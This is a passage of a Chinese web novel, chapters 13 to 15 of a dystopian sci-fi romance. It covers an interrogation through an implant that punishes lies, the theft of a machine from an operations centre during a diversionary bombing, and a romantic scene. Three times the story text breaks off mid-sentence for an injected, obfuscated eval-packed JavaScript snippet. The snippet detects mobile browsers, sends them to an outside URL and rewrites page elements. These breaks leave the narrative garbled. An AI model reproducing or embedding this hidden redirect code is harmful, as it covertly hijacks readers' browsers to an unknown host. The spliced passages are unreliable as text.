控夏打了个响指,盯着床上骤然松懈的男人嘲讽:“还以为你能撑多久呢……能说了吗?” 男人已经脱力,但还是撑着点点头。 他怕不及时回答,又要遭受刚刚的苦。 “那些人瞿仪宗是从哪找来的?”控夏居高临下盯着他。 “从垃圾场。”银发说。 “全部?” “全部。”银发说。 下一秒他又突然蜷起来,显然是刚刚那股热意重新侵袭了他。 “忘记告诉你一声,”控夏叹了口气,“说谎也会自动触发程序。” “我老实了!我老实了!!!”男人崩溃道:“快把程序停止,快停!” “一部分是垃圾场的小孩,还有的是那天游行时抓走的反动者。”他说着停了一句,被熟悉的热意逼得再次张口,“还有……仿生人。” “仿生人……”控夏若有所思开口:“你知道得真的不少啊。” “为什么选今晚出城?” 银发说:“我不知道,瞿老突然下的命令。” 程序没有启动,他确实不知道。 叩叩。 门口突然传来敲门声,控夏偏头看了一眼,程借景露出半个头。 “叫沈礼聿进来。”控夏看了眼通讯器。 “沈……沈礼聿?!”银发声音颤抖着,“他、他不是死了吗?你们都是鬼吧……都是鬼吧……” 他再次晕了过去。 控夏“啧”了一下,准备把他扇醒。 “怎么了。”沈礼聿站到她旁边。 “你来审他,蒙着眼睛带出去审。”控夏隔着手套抓了一根针,扎他一下,看对方有转醒的征兆后才直起身,“问清楚出城的目的那些,还有仿生人的事。审完之后打晕了随便找个地方扔下,让他回去。” “好。”沈礼聿应道。 控夏出门,对程借景招招手,从口袋里摸出定位器,“检测里面内容,顺着里面定位方向反追踪其他定位器的去处。” 她说完,开始找王阅的位置。 王阅凑过来问:“我有什么任务?” “里面有个黑色着装的男人,看好他,和你老大分开审问。” 王阅小鸡啄米似的点头,看控夏的身影消失在转角。 她一低头,有个小豆丁拧着眉看手上的定位器。 “弟弟,你知道女神去干嘛了吗?”她没话找话。 “女神?”小豆丁抬头,依旧拧着眉,“谁啊。” “女神。”王阅蹲下来指指控夏离开的方向,“控夏,我的女神。” 小豆丁头转过去,梗着脖子转过来,“……哦哦,应该是有别的事要处理。” “你别叫我弟弟啊。”程借景忍着笑道:“可以叫我名字,我叫程借景。” “姓程的?”王阅摸摸下巴,“你居然和大工程师同姓!” “谁。”程借景把定位器收回裤袋,惯性询问。 “程工啊。”王阅想也不想道。 程借景动作一顿,“你知道她?” “我当然知道,”王阅点点头,“程工也是我女神。” 程借景笑不出来了。 - “菲菲姐。”控夏贴着墙壁小声喊。 方才她路过“出城”的现场,那里已经没有人,应该是已经结束。 银发被抓,现场也不会有人对人数提出异议,只当他摆大人架子,人数没错就提前离开。 应该不会出问题。 “小夏。”林菲伸出头,跑到楼下。 林菲带着她躲过监控,她刚结束实验,黑发杂乱的绑在一起。 “我偷听到组长下午开会的内容。”林菲掏出一个全新的笔记本给她,“记的内容都在上面。” 控夏随便翻了两下,被林菲抓住手。 对方一脸歉意地看着她,控夏能感觉到她手心发凉,“我以后不能常跟你见面了,组长恢复了我原来的职位,重新忙起来了。” “恢复了?”控夏敏感的神经被挑动,但她没有表现出异常,“为什么?” 林菲松开她的手,“我也不知道……可能是我原本负责的实验出了错误,为了减少损失组长才恢复的。” 控夏还要再问,被林菲摸了摸脸。 对方盯着她,忽然抱住控夏,在她耳边很认真道:“你一定要好。” 控夏感觉脸颊边有微凉的触感,随着怀抱的抽离感觉迅速消散。 林菲最后朝她笑一下,匆匆赶回去了。 “……好。”控夏应道。 她一边听程借景讲话,一边贴着运作大楼来回走动。 程借景的声音依然继续,“反定位可能要点时间,但是我可以定位到信号发出的方向,因此我猜测出城后机器会受到影响,同样定位不到的问题瞿仪宗也会遇到。” “行。”控夏找准位置,抬头向上看,“还有别的了吗?” 通讯器一阵安静,片刻后传来程借景纠结的声音:“你什么时候回来?……我有事跟你说。” 控夏盘算了下时间,跟他说了一个大概,“你回去之后看着点小球,她父母的问题可以解决了。” “好。”虽然好奇解决方案是什么,但程借景还是利索地切断通讯。 该知道的迟早会知道。 控夏把本子收好,扔出一条爬索,顺着外墙爬到二楼。 如她所料,这边没有人,灯光暗淡不少。 只是不知道那个先进的机器在哪里。 她拿出软尺,顺着整个二楼的外墙缠了一圈。 然后跳回原来的地方。 收回爬索时,控夏看向爬索抓过的位置,原本光滑的壁面已经留下了四个尖利的爪状痕迹,陷得很深。 她靠在墙上,把轨迹图点开,倍速看完,没找到跟容任发过来图片类似的机器。 不在二楼。 控夏再爬上去,收回软尺。 她探头往上看,小心翼翼地重复操作,终于在三楼靠近中心的地方看见那个机器。 靠近中心,意味着人群聚集地。 今晚不知道为什么,现在快接近四点,运作中心还是灯火通明,看起来并没有人回去休息。 就连林菲在这个点联络她这件事也透露着可疑。 是因为“出城”吗? 控夏撩开汗湿的发,开始找方位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108725|164017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她有预感,天亮之后,运作中心就不再那么容易靠近了。 况且,来都来了,这个机器她不搬回去岂不是白来一趟。 在一楼背面割开一个口子,控夏往里面扔了一颗小量炸弹。 三秒过后,里面传来“嘣”地一声。 这种体量的炸弹不足以威胁到地底下天懿号的运转,又能把所有人都吸引过去。 她爬上三楼时,一楼充满了烟雾,警报器哔哔作响;二楼、三楼的人都大惊失色,匆匆往楼下赶。 最多有一分钟的时间。 控夏靠工具和力气卸下一面玻璃,手套磨破了一个洞,并有向外扩张的趋势。 但她顾不上管,用绳子对机器七缠八绕,外面有人在喊她。 “女神!”王阅隔着车窗朝她挥手。 她把绳子绑到磁浮车上,靠着动力一点一点拖到边缘。 王阅把车屁股对着机器,而后从窗户里扔给她一双磁吸把手。 控夏把磁吸把手贴在机器上,慢慢挪上车。 “啊——!”楼梯那边有人在喊,“我们的机器被偷走了!!” 脚步声越来越壮大,楼下的人几乎都跑上三楼。 控夏最后用一把劲,把机器彻底推进车屁股里。 哒。 车屁股合上一圈,然后整辆车飞快地窜出去一段。 “楼顶!”控夏对着后视镜里王阅的眼睛道。 磁浮车平直地上升,控夏余光瞥见已经有人要越过中心了—— 然后眼前黑了一片。 “怎么停电了!?” “谁关的灯!?” 人群骤然爆发出巨大的咒骂声,声浪扑到她脸上。 黑暗并没有持续很久,但灯亮起来的时刻她已经窜上楼顶。 楼顶王阅正等着她。 “走!”控夏跳上副驾驶,确定后面的车盖正在有条不紊的合上,对王阅道。 把运作中心的兵荒马乱抛在后头,控夏凝神朝外面看,才发现下雨了。 不知道什么时候开始下的雨。 王阅升高磁浮车,借着云层隐蔽行踪。 耳边只剩下安静的气流声。 “女神你真不愧是我女神。” 控夏闻言偏头,看见目不斜视的王阅给她比了一个大拇指。 她终于放松地笑出声,又缓缓吐出一口气。 “去联盟大楼。”她低声。 “好。”磁浮车顺滑地往联盟大楼的方向开去。 - 车在旁边的贫民区停下,控夏下车,发现雨还在下。 冰冷雨水浇灭了她身上的热意,她抹了把脸,跟王阅一起把机器搬到实验室。 实验室亮着灯,控夏来了两次已经习惯,王阅倒是四处打量着。 机器不知道放在哪里,老头已经跑去叫容任。 控夏看见老头值班的地方脚下又放着一打酒,蹲下去拿了两瓶,开完之后放到王阅手上。 “会酒精过敏吗?”她冲王阅挑挑眉。 对方摇摇头,对着瓶口直接灌了半瓶。 很豪迈的姿态。 控夏学着她的样子,也往下灌,刚要开口说话,容任出来了。 “您好。”她把手上的酒放在一边,湿着手同容任握一下。 身上都是湿的,擦一下说不定手心更湿了。 容任没有发现这个细节,她从出来开始眼睛就黏在机器上面,跟控夏握手纯属礼节。 握完之后甚至没有寒暄,脚步不受控制,直直朝机器去了。 不只是她,控夏看见实验室里出来很多人,但没有靠近,只是远远地看着那个机器。 目光热切无比。 控夏退开半步,拿起酒,抿了一口。 老头过来,也从地上拿了一瓶打开,含糊道:“她们都这样。” “这个机器应该是今年刚研发出来吧?还没解散那会就在讨论这个机器。” 那不难理解这样的热切了。 控夏点点头,捏扁手上的铝瓶。 老头眼尖,接过她手上的扁瓶子扔进垃圾箱。 五分钟后,终于察觉到自己耽误了什么事,容任把眼睛从机器身上撕开,背着机器朝控夏走过来。 “不好意思。”她说,“看直眼了。” 控夏朝她挥挥手,主动问:“搬进去放哪里?” 容任一拍脑袋,笑着道:“里面已经整理出来了,麻烦你们搬进去。” 王阅把铝瓶投进垃圾箱,拍拍手上前。 实验区域果然已经空了一大块出来,里面的机器被一大块布围起来。 金属和砖块地面接触的声音闷闷响起,终于落地。 控夏和王阅退开两步,研究员一水地涌上去,手上拿着抹布,扫描仪,各种各样东西,像勤劳的小蜜蜂一样开始擦拭机器上面的污渍和水滴。 “老板,我们一定会好好干的!”控夏听见有人对她说。 她转头,那个人已经涌入小蜜蜂堆里,分不清谁是谁了。 容任这时候才发现她们身上是湿的,领着她们到最里面最大的办公室坐下。 办公室里很干净、整洁,就是没有人待的痕迹。 容任说:“这间办公室是您的。” “……我不常来。”控夏说,“不需要办公室,你搬进来吧。” 她刚才进来时就发现外面有一张桌子上堆满了东西,桌面上堆叠的a4纸能把人淹没。 容任没说话,从柜子里摸出红糖,又拿了两个杯子,冲了红糖水给她们俩。 “这是一种象征。”她神神秘秘道,“象征着这间实验室终于脱离了联盟的管理,交到了更伟大的人手上。” 更伟大的人? 我吗。 控夏移开眼睛,看见王阅捧着纸杯,盯着容任,眼睛发亮。 怎么感觉不太妙啊…… 控夏颇有先见之明的一口干完红糖水,气势十足地站起身。 招呼王阅走的话还没出口,对方已经先她一步开口了。 “有眼光!”她大声道,吓了控夏和容任一跳。 容任困惑地看着王阅。 “我相信,有您这样的人才带领实验室,实验室一定会像我女神一样超级厉害的!”王阅说。 虽然不知道王阅口中的女神是谁,但容任听懂了实验室和超级厉害几个字。 她“啪”地一下跟王阅握上手,赞同道:“你也很有眼光!” 控夏很想直接把王阅拉走,但现在的局面好像不允许她插进去。 哔—— 控夏接通,程借景直上云霄的破音从里面传出来:“你把运作中心给抢了?!!” 13. 第 13 章 控夏几乎都要怀疑他的声音跟扬声器的频率共振了——声音大得耳朵疼。 她切了静音,不顾程借景在那边继续咆哮,对王阅道:“该回去了。” 王阅点点头。 控夏要出去继续接听程借景的通话,被容任叫住。 对方一脸不好意思,拢了拢自己的碎发,“老板,这个机器能借多久呢?” 她用的是“借”字,非常高情商。 但控夏纠正她:“不是借,是抢。应该还不回去了,你们想用多久都行。” 容任愣了一下,随后偏过头笑出声。 王阅趁着控夏走出去时跟容任握手:“我们下次见面再说,期待你的成果!” 虽然并不知道你在做什么实验。 两个人上车时控夏已经挂断了通话,满脸若有所思的样子。 王阅则是相反,她带着笑意启动磁浮车,安静不到片刻,便开始跟控夏搭话。 “女神,我还是第一次出这么惊险的任务。”她说,“好酷啊!” 控夏说:“是吗,你觉得很好玩?” “好玩好玩。”王阅还在回味,“太帅了,下次我出任务时要把相机带出来时刻录像,记录好每次帅气时刻,等休闲时反复播放,死了之后也要把链接刻在坟墓上!” 她低沉道:“谁也不能错过我的帅气时刻。” “相机?”控夏来了兴趣,“下次能拿来给我看看么?” “好呀。”王阅熟练地降下磁浮车,“我回去拿一趟!” 现在拿就现在拿吧,控夏推开门,被冲过来的程借景吓了一跳。 “终于舍得回来了啊……”程借景幽幽道。 控夏拍拍他的头,叹了口气:“有这么急吗。” “呵呵。”程借景假笑一声,“你当然不急啊,你多帅啊,跑去运作中心兴风作浪,侧脸都被拍下来了。” “多帅呢。”他冷笑。 控夏眉毛一挑:“我看看。” 程借景从系统里调出监控截图,无限地放大放大再放大,最后指着一个占了几格马赛克的、只露出下巴一点皮肤的侧脸照怒道:“你敢说这不是你?!” 控夏对自己的侧脸不太熟悉,凑近看了好几眼都没看出来。 “对哦,就是你诶女神。”王阅不知道什么时候回来了,手里拿着一个方形物,对着截图上控夏的侧脸。 那应该是了。 虽然控夏并不清楚,他们俩是怎么靠这一小块下巴认出来的,明明短发挡了很多。 “好啦,别生气了。”控夏捏捏他的脸,“定位器现在有传过去什么内容吗?” 话题被带到正事上,程借景认真,“目前还没有看到与城外相关内容。” 意料之中,控夏站起身,朝屋子里走去。 沈礼聿走这趟应该是费了挺大力,现在坐在轮椅上吊营养液和药液恢复。 控夏站到他面前,弯腰细细看着他的脸。 嘴唇发白,睫毛都簇在一块,是被冷汗打湿的。 面前的人突然睁开眼,控夏看到他下意识往后仰了一下。 不过只有那一下,看清楚她是谁后又慢慢回来。 “好点了吗。”控夏直起身,居高临下看着他。 沈礼聿向来都要看着人眼睛说话,只好抬起头,盯着面前人的眼睛。 “咳咳。”沈礼聿低头咳了两声,迅速抬起头,“好多了,谢谢关心。” 控夏站在背光处,沈礼聿并看不清她脸上的表情,只能瞧见她歪了歪头。 “哦。”控夏应了一声,发现这个角度看轮椅上的人有些新奇,“今天审出什么结果了吗?” 轮椅上的人垂眼沉思一会,很快抬眉,“人我已经放回去了,不到半小时。” 不到半小时……应该够他从新城边界走到靠近贫民区的地方,离联盟大楼还远着。 “剩下的我已经整理完发到借景通讯器上,应该已经发给你了,你注意查收一下。”他说。 发给程借景? 刚想问他为什么不发给自己,控夏突然想起来,他们好像没有加联系方式。 她退开两步,转身坐在大床上,点开通讯器。 上面程借景确实有一条未读消息,控夏没急着查收,先是把自己的ID码调出来,然后摆到沈礼聿面前,言简意赅一个字:“加。” 他没有说多余的话,迅速加上。 控夏说:“他们就不用加了,有什么事你跟我说就行。” “好。”沈礼聿低着头还在戳。 控夏把自己的ID码收起来,被王阅飞扑过来阻止:“女神!” 她手速极快,哐哐两下调出自己的扫描界面,“我也要加!” 加吧加吧。 控夏看她收回去,才调回主界面,查收程借景发来的文件。 身上突然多了一股力,控夏忍住身体下意识的攻击,缓慢转头。 是程借景。 他指了指床尾的方向,小秋醒了。 “姐姐。”小秋弱弱喊了一声。 控夏凑过去,“怎么了?” 小秋抓着控夏的袖子,不敢看这个房间里的其他人。 其实她早就醒了,只是那时候控夏不在这里,程借景又看起来很生气的样子,她根本不敢做声。 “借景哥哥跟我说,我爸妈出城去了,家里也没人。”她小声道:“我能不能跟着你啊?” 控夏没说话,看她数着自己手指头:“我可以帮你们洗衣服、扫地、买营养液……” “爸爸妈妈经常喊我去买营养液,楼下小店的阿姨认识我,可以打折的。” 她眼睛大大的盯着控夏,很快有眼泪流出来。 “家里没人……我害怕……我不知道爸爸妈妈为什么不跟我说,就自己跑出城了……”她抽噎着,“为什么不跟我说呢……我也可以出去的啊……” 小秋还太小了,根本不懂出城意味着什么。 她只从父母偶尔的对话中听说过这件事,不过也只是懵懂的知道“出城”,听不出父母聊及此时的恐惧。 她躲在被子里的时候会想,为什么出城的时候不带上她,这样他们也能一直生活在一起。 控夏有些沉默。 小秋抹掉眼泪,壮着胆子看其他人,被他们一致地沉默搞得有些慌张。 “不能带上我吗?” “……可以。”控夏摘下手套,把她脸上没擦掉的泪痕抹干净,低声说:“不要你干什么,你好好……好好成长就行。” “她住在哪里?”程借景碰了碰控夏的手臂,“不能把她一个人留在这里吧?” 控夏看了他一眼。 程借景被看得有些心虚,“那我们都出去了怎么办?让她一个小女孩到处跑也不现实。” “会有去处的。”控夏盯着黑沉沉的天,“不过现在还没有,她还得在这里待几天。” 程借景撇撇嘴,不说话了。 “现在有消息没?”控夏往回走,问他。 程借景抓紧跟上,“没有,但是定位器是实时更新的,你要看吗?” “看。” 一行人挤在不大的屏幕前瞪大眼睛盯着。 “这也看不出什么啊……?”王阅喃喃道。 面前的屏幕一片漆黑,能听到细微的脚步声,是金属鞋底蹭在沙子的声音。能从时不时的喘息声中听出是个男人,旁边的身体素质情况显示此人已经脱力,还有轻微的中毒倾向。 砰。 闷闷的撞击音响起。 现在是真的一片漆黑了。 控夏移动目光,银色的眼底映出几个红色大字:已死亡! 数据显示这人是因为肺部受到污染而死,中毒不是主要原因。 她直起身,从旁边的柜子里抽了一瓶浓郁白色的营养液。 “还看吗?”程借景老神在在道。 控夏摇头,揭开盖子后费力将营养液吞咽下去。 喝完把瓶子扔进垃圾桶,控夏才说:“没有意义。” “连看了几个人都是这样,估计这一批撑不了多久,瞿仪宗还会有下一步动作。”她询问,“有计算过平均时间吗?” 程借景答“有”,把数据图调出来,“从他们出发到现在接近三个小时,死了差不多20个人。” 惊人的死亡率。 控夏示意他继续。 “大多数是因为肺部污染死亡,但死亡因素显示肺部污染只占了其中小部分,更多是分析不出来的原因。”程借景把‘死亡因素’这几个字放大,“我这边只接了很小一部分,残缺绝大多数据,如果要详细分析的话得去总部。” “总部?”控夏重复,“你是指运作中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108726|164017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心吗?” “是的。”程借景点头。 运作中心暂时难以进入,控夏决定把重心放在放回去的男人身上。 嗞—— 杂乱的电流声响了一路,银发不堪其扰,在原地跳脚抓狂:“别再响了!!” 电流声停了一会,银发望着近在咫尺的联盟大楼,快要奔跑起来。 他怀疑控夏给他身体深处装了其他东西,不然怎么一路的电流声呢?! 等他回去之后一定要先预约手术,做一个全身检查,然后找到瞿老把控夏和沈礼聿都没死的事抖搂出来! 瞿老一定不会放过这两个人的,这两个人别想好死! 这样的信念支撑他一路,从醒来后发现自己在郊区一直到现在。 嗞—— 该死的电流声又响起来。 银发条件反射般停下,又在原地蹦了两跳。 不过很遗憾,这一次电流声并没有消失,反而带出一个女音。 “你好。”那个声音懒懒的跟他打招呼,“听得出我是谁吗?” “控,控夏!”银发在空无一人的街道上四处张望,没看见任何一个喇叭状的物体。 “嗯哼,答对了。”控夏说,“但是没奖励。” 他循着说话的声音转了一圈,终于明白声音的来源来自身体内部。 “跟你说一声,一旦踏进联盟大楼,违禁词不能从你嘴里出现。”控夏说,“比如什么死啊活的。” 她沉默一分钟,手里的机器都没有传出来声音。 “程借景。”她喊道,“把银发的监控调出来。” 监控画面上,银发正蹲在地上,双手抱着头。 “干嘛了这是。”程借景好奇。 控夏:“可能是心理崩溃了。” 她正准备对着机器再说两句,画面上突然爆发出一阵起伏极大的波形图,银发已经站起来,发疯似的扯自己身上的衣服。 这个动作持续不到两秒,他又软倒在地,好一阵没有动静。 控夏打开机器。 “还活着吗。”她问。 银发虚弱的声音从机器里传出来,“……还有什么?” 控夏听懂他是在问违禁词,“太多了。你自己拿捏一下。” “你好气人啊。”程借景盯着银发说,“他不会被气死了吧。” “不会的。”控夏把机器装回他口袋里,“等他回了联盟你就知道了。” 程借景一直盯着银发。 银发回了联盟后先是给自己预约了一件手术室,用途是身体检查。但他等不及,直接冲进了还在工作的手术室,被人工智能撵出来。 好不容易做了身体检查,报告却没那么快出,他又只好回了住处,先把自己清洗干净,确保体面整洁后预约了瞿仪宗的会面。 瞿仪宗两个小时后才同意他的请求。 这不是最完蛋的。 银发乘坐备用电梯上了315层,人真正站在瞿仪宗面前却什么话都说不出来。 “你中途离开了?”画面里瞿仪宗坐在桌后,淡声质问。 银发开口:“我不是有意……” 他想起要靠自己“拿捏”的违禁词,缓缓闭上嘴。 瞿仪宗却不会那么轻易放过他,“不是有意的?难道有人把你掳走了不成。” 他对银发找的借口十分嘲讽,甚至嘲讽地笑出声,不过很快,他脸上的笑意就慢慢消失了。 变成了面无表情。 在此期间银发并没有开口。 程借景观察他脸上的表情。 银发眉毛抽动,瞳孔放大,嘴唇不自觉颤抖着。 这幅神情谁看了都知道有猫腻,更何况是瞿仪宗。 果不其然,瞿仪宗一下子站了起来。 银发身后的门开了,一行护卫军在瞿仪宗暴怒又不可置信的表情中进来。 他朝护卫军挥挥手,银发被抓了起来。 护卫军身后还跟着一个人。 那人径直走道瞿仪宗面前。 程借景认出那人是给银发做身体检查的医生,她推了推眼镜,手上拿着一沓A4纸,放在桌子上。 “这是……?”瞿仪宗问,。 “身体检测报告。”女人说:“结果显示检测人身体状况异常,应该是遭受过改造,被植入了非法芯片。” 14. 第 14 章 狠厉的目光骤然射向银发,程借景的脚步下意识往旁边一退。 这束目光好像直接穿透了银发,重重落在监控的人身上。 “怎么了。”控夏走进来,恰好看见他的动作。 程借景摇摇头,关掉了已经变黑的监控画面。 方才守卫军把银发的眼睛蒙上了。 “瞿仪宗已经知道了。”他面色凝重。 控夏擦掉额角的汗,又扯开两瓶营养液,仰着头灌下去。 轻轻调整好自己的呼吸频率,控夏用力闭了闭眼,才开口:“意料之中。” 程借景惊讶一声:“嗯?” “以银发的心理素质来看,能撑过半天都算奇迹。”控夏说:“放他回去不指望他做什么,能到瞿仪宗面前刷个脸就足够。” 她解释完,程借景正皱着眉企图想明白她话里的意思。 控夏没留他思考的时间,点开审问的文件:“你看过文件里的内容了吗?” “看过了。”程借景说:“但……感觉没多大价值。” 控夏不置可否,“银发本身受重视程度不高,被安排到现场就能看出来。” “知道得多的都躲在‘象牙塔’里,不会轻易出现。” 话虽如此,但里面记录的对话还是能看出参考价值。 控夏已经看过很多遍,这次她又慢吞吞地扫过一遍,目光停留在旁边标红的字眼上。 标红的字是沈礼聿添上去的,到底还是在联盟里参加过无数场会议的人,角度一针见血。 “那重要的是什么呢?”程借景问。 控夏说:“在于他回去见到瞿仪宗前,都跟谁打过照面。” 休息了一个上午,控夏醒来时外面天是黑的。 旁边点着蜡烛,控夏偏头时,沈礼聿正看着她。 “醒了吗?”沈礼聿低声。他把手上的东西合起来,放在桌上。 搁在桌上时控夏看清了,是一本书。 不过不知道是什么书。 她的视线回到沈礼聿身上。 对方今天终于换掉了联盟高层同种款式的白衣,穿着自己的私服。 是白色的衬衫和长裤,长发被撇到耳后,很温柔。 虽然同样是白色,但控夏觉得这件顺眼多了。 联盟统一的白衣类似长袍,很轻,走起来时飘飘的。 她只穿过一次就塞到衣柜深处,没再翻开过。 “怎么了。”见她抿着唇发呆,沈礼聿俯下身靠近了一点,再次小声发问。 “没有。只是好奇你怎么把白袍换下来了。”控夏说。 沈礼聿一愣,不自在地扯了扯身上的衬衫,“不小心弄烂了,这身衣服很奇怪吗?” 控夏摇头。 沈礼聿松了一口气,说:“这衣服还是十年前买的,没穿过多少次,所幸现在还能套进去。” 十年前? 控夏细细打量他,突然好奇十年前这人跟现在比有什么变化。 他们第一次见面也是在十年前,那时候瞿仪宗第一次主持会议,也是唯一一次她穿了白袍。 现在回想起来,她已经忘记了沈礼聿的样子。 “……对不起。”沈礼聿突然道。 控夏回神,“没关系?” 沈礼聿骤然失笑,“你不问我为什么道歉吗?” “为什么?”控夏问。 她坐起来,把黏在他颊边的细发撩到耳后,盯着他的眼睛。 “说啊?”她歪了歪头,十分疑惑。 沈礼聿才说:“我在议会上反驳你的事。” 原来是这个。 控夏不甚在意地摇摇头,原本她提出那几个提议都是随口乱提,还是因为瞿仪宗非要她参与进议会里面。 “比起这个,我还是更好奇你为什么老是反驳他们。”控夏停顿一下,想起会议上那一张张老脸,“那些老人。” 沈礼聿说:“刷存在感。” 他解释道:“不然的话,我很容易被踢出管理层。” 像这十年里莫名其妙消失的那些人一样。 他的行为很有效果。 外面的人一提起沈礼聿,第一反应是“那个长得很好看的人”,第二反应是“这人天天跟其他人抬杠”。 高层里没有一个人被他放过,每个人提起他都恨得牙痒痒。 控夏还听过一个传闻,说沈礼聿这么嚣张,是因为他背后有人在撑腰,话里话外都在暗示那个人是瞿仪宗。 曾经她不以为意,现在仔细想想,其实有点恶心。 瞿仪宗这人,从外貌到品行,至少从控夏的角度来评判,没一样比得过沈礼聿。 或许最不应该的是拿他们两个做对比。 思及此,控 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108727|164017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏不动声色地略过眼前这人的眉眼,目光从高挺秀气的鼻子一点一点描摹到有些薄的唇部。 目光再向下,定格在颈部。 被她扭了脖子还能好好坐在这里,身体素质应该也还行。 再想想联盟里那一帮老妖怪和银发这样的人,她不禁叹气。 人类的未来真的可以交到这群人手中吗? 沈礼聿被她的叹气搞得有些紧张,凑近问:“我是怎么了吗?” “你很好。”控夏没往后退,哪怕他们之间的间隔已经越过了正常人交流的距离,“就这样一直好下去吧。” 人类的未来还是不能就这么轻易交到那群人手中,控夏想。 她脑子迅速切换到工作状态,把沈礼聿推回轮椅上。 控夏点开看了无数次的文件,“正好我有些话想问你。” 好吧,沈礼聿靠回椅背,抬手示意她问。 “银发说瞿仪宗只准备了一个月,你的标红是存疑。”控夏说:“为什么?” “50e计划。”沈礼聿说,“这个计划提出的时间是十年前,也许更早。” “更早……?”控夏喃喃重复。 “我也是不小心知道的,真正确定他们有这个计划时是五年前。” 控夏陷入了沉默。 要说这十年里她跟谁的交流最多,那毫无疑问,肯定是瞿仪宗。 只是对方从来没有在她面前表露过什么。 还是说,暴躁易怒只是演给她看的假象? 瞿仪宗没有这个能力。控夏肯定。 只是,到底是什么让他对这件事决口不提,甚至十年如一日守口如瓶? “50e计划是谁提出来的?”她问。 沈礼聿耸耸肩,“不知道,最开始我只是在花园里听到瞿仪宗和别人聊天,根据其中透露的一点内容猜测出来。” 验证这个猜测成立花了五年时间。 控夏敏锐道:“你说的这个别人,已经死了吗?” 沈礼聿并不意外她能猜中,点点头,“在我听到的第二天就死了。” “后来我在系统里翻过她的资料,花了很多精力查她的关系网,没有任何收获。” “没有收获是指?” 沈礼聿说:“这人命不好,跟她有关系的人都死得差不多了,剩余的也消失在十五年前那场灾难里。” 15. 第 15 章 “她叫什么?” “李怅。” 控夏点头,将李怅此人列入自己的工作计划中。 她转头望向外面的天,依旧黑着。 屋里太暗了。 控夏想去开灯,站起身,却被拉住。 拉着的是手。 对方意识到自己拉的不是衣服,很快松开。 控夏手指动了动,不明意味地低头,居高临下对上他的眼睛。 她的手从来只包裹在手套里面,为了杀人时不触碰那些人的皮肤。 少部分时候会特意摘下,休息时算特例,不会戴。 比如现在。 所以刚刚沈礼聿碰到她的手——十年来还是第一次。 两只手触碰在一起的触感很奇妙。 “我是想说,还有另一个人的审问记录没整理给你,比较复杂,我认为当面和你说比较合适。”沈礼聿先是移开视线,但很快又飘回来,跟控夏对视,“这个人的审问有点价值,听完再走也不迟。” “还是你有更重要的事吗?” 软绵绵的。 视线软绵绵的勾着她,声音也软,听起来底气不足,到后面越来越小声了。 控夏捞起黑色贴服的手套给自己套上,顺手拿过烛台。 小小的一枚火焰只能照亮一定范围,她拿着烛台凑近了面前人的脸,看他惊慌失措地瞪大眼睛,又故作镇定地垂眼。 可控夏分明看见他睫毛在颤。 是怕她不高兴吗?会动手毁了他的脸。 她怎么舍得呢……? 右手抚上他的脸,隔着皮质手套细细描绘,从眉毛,抚到眼睫,再向下,依次描过鼻梁,嘴唇…… 最后食指轻佻的挑起下巴。 控夏微微俯身,凑近了:“下次不要碰我的手。” 她把烛台移远了一些,大拇指缱绻着在他唇上画着圈,故意恐吓他:“我压力大,你长得这么好看……我会以为你在跟我调情。” 说着她微微张嘴,舌尖露出来,脸更凑近一点。 这个动作只持续了短短两秒,她松开捏着面前人下巴的手,观察他反应。 好像是被吓到了,眼神失焦,不知道在想什么。 控夏满意地弯起眉眼,正准备退开,垂着的右手忽然被缠上。 那只手一点一点从她的指尖试探着,然后抚上手心。 像小猫一样。 控夏索性不做动作,她想看看面前的人能做到哪一步。 她全身的感官都放在右手,所以当嘴角传来湿润感时,她有些反应不及。 小猫伸出舌尖,跟着手指的动作,先是试探着舔了舔她的嘴角,见她没有动作,才一点点往中间移。 随着唇瓣慢慢变得湿润,唇缝也一点点被舔开。 十指相扣。 控夏被站起来的小猫推坐在床上,左手的烛台不小心掉落,咕噜噜滚到角落,然后熄灭。 她眼前骤然失去明亮,唇上的触感也就更加明显。 干脆卸了力,被面前的人十指相扣着压倒在床上。 这算接吻吗?也许吧。 她很享受这种被小猫舔着的感觉,但又实在好奇他是什么神情,于是一边吻着,一边把他的长发撩到背后去,想要借着窗外的一点明亮看清他。 没想到,头发撩开的同时,人也顺势滚到一边了。 控夏动了动手指,旁边的人把手也一起收走了。 “……”控夏问:“这是什么意思。” “证明给你看。”控夏听见他说,“你不是误会调情吗?干脆做实好了。” 听起来有点赌气的样子。 控夏说:“程借景呢,那群人干什么去了。” 旁边的人好一会没说话,控夏凝神等待,才听见他有些闷的声音:“今天游乐园不用门票,王阅带着他和小秋去玩了。” “哦……”控夏了然。 她又问:“什么时候回来?” 